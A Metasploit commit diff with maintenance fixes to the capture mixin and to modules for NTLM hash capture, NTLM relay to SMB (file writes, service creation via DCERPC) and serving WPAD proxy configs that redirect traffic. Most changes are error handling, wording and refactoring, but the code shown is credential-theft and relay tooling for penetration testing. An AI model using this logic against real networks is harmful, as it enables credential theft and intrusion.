Skip to content

Commit ff9cb48

Browse files
committed
Land rapid7#2464, fixes for llmnr_response and friends
Fixed conflict in lib/msf/core/exploit/http/server.rb.
2 parents 3d55013 + 541833e commit ff9cb48

File tree

8 files changed

+185
-158
lines changed

8 files changed

+185
-158
lines changed

lib/msf/core/exploit/capture.rb

Lines changed: 20 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -48,15 +48,15 @@ def initialize(info = {})
4848
begin
4949
require 'pcaprub'
5050
@pcaprub_loaded = true
51-
rescue ::Exception => e
51+
rescue ::LoadError => e
5252
@pcaprub_loaded = false
5353
@pcaprub_error = e
5454
end
5555

5656
begin
5757
require 'network_interface'
5858
@network_interface_loaded = true
59-
rescue ::Exception => e
59+
rescue ::LoadError => e
6060
@network_interface_loaded = false
6161
@network_interface_error = e
6262
end
@@ -97,7 +97,7 @@ def open_pcap(opts={})
9797
len = (opts['SNAPLEN'] || datastore['SNAPLEN'] || 65535).to_i
9898
tim = (opts['TIMEOUT'] || datastore['TIMEOUT'] || 0).to_i
9999
fil = opts['FILTER'] || datastore['FILTER']
100-
arp = opts['ARPCAP'] || true
100+
do_arp = (opts['ARPCAP'] == false) ? false : true
101101

102102
# Look for a PCAP file
103103
cap = datastore['PCAPFILE'] || ''
@@ -115,7 +115,7 @@ def open_pcap(opts={})
115115
end
116116

117117
self.capture = ::Pcap.open_live(dev, len, true, tim)
118-
if arp
118+
if do_arp
119119
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
120120
preamble = datastore['UDP_SECRET'].to_i
121121
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
@@ -125,7 +125,7 @@ def open_pcap(opts={})
125125

126126
if (not self.capture)
127127
raise RuntimeError, "Could not start the capture process"
128-
elsif (arp and !self.arp_capture and cap.empty?)
128+
elsif (do_arp and !self.arp_capture and cap.empty?)
129129
raise RuntimeError, "Could not start the ARP capture process"
130130
end
131131

@@ -141,7 +141,6 @@ def close_pcap
141141

142142
def capture_extract_ies(raw)
143143
set = {}
144-
ret = 0
145144
idx = 0
146145
len = 0
147146

@@ -279,7 +278,7 @@ def inject_reply(proto=:udp, pcap=self.capture)
279278
# This ascertains the correct Ethernet addresses one should use to
280279
# ensure injected IP packets actually get where they are going, and
281280
# manages the self.arp_cache hash. It always uses self.arp_capture
282-
# do inject and capture packets, and will always first fire off a
281+
# to inject and capture packets, and will always first fire off a
283282
# UDP packet using the regular socket to learn the source host's
284283
# and gateway's mac addresses.
285284
def lookup_eth(addr=nil, iface=nil)
@@ -309,7 +308,15 @@ def probe_gateway(addr)
309308
dst_port = rand(30000)+1024
310309
preamble = [datastore['UDP_SECRET']].pack("N")
311310
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
312-
UDPSocket.open.send(secret, 0, dst_host, dst_port)
311+
312+
begin
313+
UDPSocket.open.send(secret, 0, dst_host, dst_port)
314+
rescue Errno::ENETUNREACH
315+
# This happens on networks with no gatway. We'll need to use a
316+
# fake source hardware address.
317+
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
318+
end
319+
313320
begin
314321
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
315322
::Timeout.timeout(to) do
@@ -415,7 +422,7 @@ def should_arp?(ip)
415422

416423
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
417424

418-
#Netifaces code
425+
# Netifaces code
419426

420427
def netifaces_implemented?
421428
@network_interface_loaded and
@@ -486,8 +493,8 @@ def get_ipv4_addr(dev, num=0)
486493
check_pcaprub_loaded
487494
dev = get_interface_guid(dev)
488495
addrs = NetworkInterface.addresses(dev)
489-
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
490-
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
496+
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
497+
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
491498
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
492499
addrs[NetworkInterface::AF_INET][num]['addr']
493500
end
@@ -496,8 +503,8 @@ def get_ipv4_netmask(dev, num=0)
496503
check_pcaprub_loaded
497504
dev = get_interface_guid(dev)
498505
addrs = NetworkInterface.addresses(dev)
499-
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
500-
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
506+
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
507+
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
501508
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
502509
addrs[NetworkInterface::AF_INET][num]['netmask']
503510
end

lib/msf/core/exploit/http/server.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -700,7 +700,7 @@ def obfuscate_js(javascript, opts)
700700
# Returns a string containing the encrypted string and a loader
701701
#
702702
def encrypt_js(javascript, key)
703-
js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
703+
Rex::Exploitation::EncryptJS.encrypt(javascript, key)
704704
end
705705

706706
#

modules/auxiliary/server/capture/http_ntlm.rb

Lines changed: 14 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -58,18 +58,24 @@ def initialize(info = {})
5858
end
5959

6060
def on_request_uri(cli, request)
61-
print_status("Request '#{request.uri}'...")
61+
vprint_status("Request '#{request.uri}'")
6262

6363
case request.method
6464
when 'OPTIONS'
6565
process_options(cli, request)
6666
else
6767
# If the host has not started auth, send 401 authenticate with only the NTLM option
6868
if(!request.headers['Authorization'])
69+
vprint_status("401 '#{request.uri}'")
6970
response = create_response(401, "Unauthorized")
7071
response.headers['WWW-Authenticate'] = "NTLM"
72+
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
73+
response.body =
74+
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
75+
7176
cli.send_response(response)
7277
else
78+
vprint_status("Continuing auth '#{request.uri}'")
7379
method,hash = request.headers['Authorization'].split(/\s+/,2)
7480
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
7581
if(method != "NTLM")
@@ -142,7 +148,7 @@ def handle_auth(cli,hash)
142148
nt_len = ntlm_hash.length
143149

144150
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
145-
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
151+
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
146152
:lm_hash => lm_hash,
147153
:nt_hash => ntlm_hash
148154
}
@@ -153,11 +159,11 @@ def handle_auth(cli,hash)
153159
#if the length of the ntlm response is not 24 then it will be bigger and represent
154160
# a ntlmv2 response
155161
elsif nt_len > 48 #lmv2/ntlmv2
156-
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
157-
:lm_hash => lm_hash[0, 32],
158-
:lm_cli_challenge => lm_hash[32, 16],
159-
:nt_hash => ntlm_hash[0, 32],
160-
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
162+
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
163+
:lm_hash => lm_hash[0, 32],
164+
:lm_cli_challenge => lm_hash[32, 16],
165+
:nt_hash => ntlm_hash[0, 32],
166+
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
161167
}
162168
elsif nt_len == 0
163169
print_status("Empty hash from #{host} captured, ignoring ... ")
@@ -335,7 +341,7 @@ def html_get_hash(arg = {})
335341
:active => true
336342
)
337343
#if(datastore['LOGFILE'])
338-
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
344+
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
339345
#end
340346

341347
if(datastore['CAINPWFILE'] and user)

modules/auxiliary/server/http_ntlmrelay.rb

Lines changed: 20 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,6 @@ def on_request_uri(cli, request)
8989
when 'OPTIONS'
9090
process_options(cli, request)
9191
else
92-
datastore['REQUEST_IP'] = cli.peerhost
9392
cli.keepalive = true;
9493

9594
# If the host has not started auth, send 401 authenticate with only the NTLM option
@@ -235,10 +234,10 @@ def parse_args()
235234
print_error("PUTDATA and FILEPUTDATA cannot both contain data")
236235
raise ArgumentError
237236
elsif datastore['PUTDATA'] != nil
238-
datastore['FINALPUTDATA'] = datastore['PUTDATA']
237+
@finalputdata = datastore['PUTDATA']
239238
elsif datastore['FILEPUTDATA'] != nil
240239
f = File.open(datastore['FILEPUTDATA'], "rb")
241-
datastore['FINALPUTDATA'] = f.read
240+
@finalputdata = f.read
242241
f.close
243242
end
244243

@@ -272,7 +271,7 @@ def http_relay_toserver(hash, ser_sock = nil)
272271

273272
if (method == 'POST')
274273
theaders << 'Content-Length: ' <<
275-
(datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n"
274+
(@finalputdata.length + 4).to_s()<< "\r\n"
276275
end
277276

278277
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
@@ -295,10 +294,10 @@ def http_relay_toserver(hash, ser_sock = nil)
295294
'method' => method,
296295
'version' => '1.1',
297296
}
298-
if (datastore['FINALPUTDATA'] != nil)
297+
if (@finalputdata != nil)
299298
#we need to get rid of an extra "\r\n"
300299
theaders = theaders[0..-3]
301-
opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n"
300+
opts['data'] = @finalputdata << "\r\n\r\n"
302301
end
303302
opts['SSL'] = true if datastore["RSSL"]
304303
opts['raw_headers'] = theaders
@@ -324,12 +323,12 @@ def http_relay_toserver(hash, ser_sock = nil)
324323
#relay ntlm type1 message for SMB
325324
def smb_relay_toservert1(hash)
326325
rsock = Rex::Socket::Tcp.create(
327-
'PeerHost' => datastore['RHOST'],
328-
'PeerPort' => datastore['RPORT'],
329-
'Timeout' => 3,
330-
'Context' =>
326+
'PeerHost' => datastore['RHOST'],
327+
'PeerPort' => datastore['RPORT'],
328+
'Timeout' => 3,
329+
'Context' =>
331330
{
332-
'Msf' => framework,
331+
'Msf' => framework,
333332
'MsfExploit'=> self,
334333
}
335334
)
@@ -354,7 +353,7 @@ def smb_relay_toservert1(hash)
354353

355354
begin
356355
#lazy ntlmsspblob extraction
357-
ntlmsspblob = 'NTLMSSP' <<
356+
ntlmsspblob = 'NTLMSSP' <<
358357
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
359358
"\x00\x00"
360359
rescue ::Exception => e
@@ -367,7 +366,7 @@ def smb_relay_toservert1(hash)
367366

368367
#relay ntlm type3 SMB message
369368
def smb_relay_toservert3(hash, ser_sock)
370-
arg = get_hash_info(hash)
369+
#arg = get_hash_info(hash)
371370
dhash = Rex::Text.decode_base64(hash)
372371

373372
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
@@ -424,7 +423,7 @@ def smb_put(ser_sock)
424423
ser_sock.client.tree_connect(share)
425424

426425
fd = ser_sock.open("\\#{path}", 'rwct')
427-
fd << datastore['FINALPUTDATA']
426+
fd << @finalputdata
428427
fd.close
429428

430429
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
@@ -536,7 +535,7 @@ def smb_pwn(ser_sock, cli_sock)
536535
response = dcerpc.call(0x0c, stubdata)
537536
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
538537
svc_handle = dcerpc.last_response.stub_data[0,20]
539-
svc_status = dcerpc.last_response.stub_data[24,4]
538+
#svc_status = dcerpc.last_response.stub_data[24,4]
540539
end
541540
rescue ::Exception => e
542541
print_error("Error: #{e}")
@@ -627,7 +626,7 @@ def get_hash_info(type3_hash)
627626
nt_len = ntlm_hash.length
628627

629628
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
630-
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
629+
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
631630
:lm_hash => lm_hash,
632631
:nt_hash => ntlm_hash
633632
}
@@ -638,11 +637,11 @@ def get_hash_info(type3_hash)
638637
#if the length of the ntlm response is not 24 then it will be bigger and represent
639638
#a ntlmv2 response
640639
elsif nt_len > 48 #lmv2/ntlmv2
641-
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
642-
:lm_hash => lm_hash[0, 32],
643-
:lm_cli_challenge => lm_hash[32, 16],
644-
:nt_hash => ntlm_hash[0, 32],
645-
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
640+
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
641+
:lm_hash => lm_hash[0, 32],
642+
:lm_cli_challenge => lm_hash[32, 16],
643+
:nt_hash => ntlm_hash[0, 32],
644+
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
646645
}
647646
elsif nt_len == 0
648647
print_status("Empty hash from #{host} captured, ignoring ... ")

modules/auxiliary/server/wpad.rb

Lines changed: 11 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,6 @@ def initialize(info = {})
3333

3434
register_options(
3535
[
36-
OptEnum.new('TYPE', [true, 'WPAD/PAC Data File', 'DAT', ['DAT', 'PAC']]),
3736
OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
3837
OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
3938
OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
@@ -44,15 +43,10 @@ def initialize(info = {})
4443
end
4544

4645

47-
def cleanup
48-
datastore['URIPATH'] = @previous_uri
49-
end
50-
51-
5246
def on_request_uri(cli, request)
53-
print_status("Request '#{request.method} #{request.headers['user-agent']}")
47+
vprint_status("Request '#{request.method} #{request.headers['user-agent']}")
5448

55-
return if request.method == "POST"
49+
return send_not_found(cli) if request.method == "POST"
5650

5751
html = <<-EOS
5852
function FindProxyForURL(url, host) {
@@ -65,20 +59,23 @@ def on_request_uri(cli, request)
6559
}
6660
EOS
6761

68-
print_status("Sending WPAD config ...")
62+
print_status("Sending WPAD config")
6963
send_response_html(cli, html,
7064
{
7165
'Content-Type' => 'application/x-ns-proxy-autoconfig'
7266
})
7367
end
7468

69+
def resource_uri
70+
"/wpad.dat"
71+
end
7572

76-
def run
77-
@previous_uri = datastore['URIPATH']
78-
datastore['URIPATH'] = (datastore['TYPE'] == 'DAT') ? 'wpad.dat' : 'proxy.pac'
79-
80-
print_status("Serving #{datastore['URIPATH']} on port #{datastore['SRVPORT']}")
73+
def primer
74+
hardcoded_uripath("/proxy.pac")
75+
end
8176

77+
def run
78+
# This should probably be added to the Http mixin's run method
8279
begin
8380
exploit
8481
rescue Errno::EACCES => e

0 commit comments

Comments
 (0)